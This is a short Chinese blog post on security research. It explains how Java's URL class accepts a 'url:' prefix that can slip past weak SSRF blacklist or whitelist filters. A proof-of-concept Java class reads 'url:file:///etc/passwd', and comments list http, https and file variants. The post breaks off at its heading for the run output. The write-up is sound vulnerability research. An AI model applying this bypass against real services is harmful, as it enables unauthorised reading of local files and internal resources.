0x01 前言
首先原作者文章: https://mp.weixin.qq.com/s/SysCJTcYRpV6dj9QfeQYmQ
有这个思考主要是因为看了文章以后觉得核心点就是
js 里面的 new URL("url:xxxxxxx");
恰巧的是 java 的 new URL 也可以支持 url:xxxxxxx 这种格式
那么脑海里面其实第一反应就是如果他是黑名单过滤或是不严谨的白名单过滤那么绕过就有可能性了
例如下面的例子
0x02 例子
import java.net.URL;
import java.net.URLConnection;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class SsrfTest2 {
public static void main(String[] args) {
try {
// 漏洞利用点
// 例如我这里使用了 最前面使用了 url: 最后面使用了 ?1123=fffffff
// 也是可以正常执行的,所以说 new URL 这个类兼容性也是非常强的
// 当然这里里面,实际攻击可以改成
// url:http://xxxx.com
// url:https://xxx.com
// url:file:///etc/passwd
// 都是可以正常识别的
String url = "url:file:///etc/passwd?1123=fffffff";
// 实例化url的对象
URL u = new URL(url);
System.out.println(u);
//打开一个URL连接,并运行客户端访问资源。
URLConnection connection = u.openConnection();
connection.connect();
connection.getInputStream();
StringBuilder response = new StringBuilder();
//获取url中的资源
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream(), "UTF-8"));
String line;
while ((line = in.readLine()) != null) {
response.append(line);
}
in.close();
System.out.print(response.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行结果